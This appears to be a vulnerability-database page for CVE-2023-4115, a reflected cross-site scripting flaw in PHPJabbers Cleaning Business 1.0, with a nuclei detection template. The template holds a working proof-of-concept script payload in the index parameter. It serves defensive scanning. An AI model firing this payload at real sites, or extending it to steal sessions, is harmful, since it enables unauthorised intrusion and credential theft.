HexBrain

Browse / CVEs / CVE-2023-4115

CVE-2023-4115· phpjabbers / cleaning business software· CWE-79

PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
8.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.

Impact

Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of cleaning business booking system administrators and customers.

Fix

Update PHPJabbers Cleaning Business Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.

How to confirm it

Send: GET {{BaseURL}}/index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "Enquiry summary", "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2023-4115 -u <target>

The full check
id: CVE-2023-4115

info:
  name: PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of cleaning business booking system administrators and customers.
  remediation: |
    Update PHPJabbers Cleaning Business Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39747
    - https://cxsecurity.com/ascii/WLB-2023080015
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4115
    - https://vuldb.com/?ctiid.235962
    - https://vuldb.com/?id.235962
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4115
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.95038
    cpe: cpe:2.3:a:phpjabbers:cleaning_business_software:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: cleaning_business_software
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Enquiry summary", "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from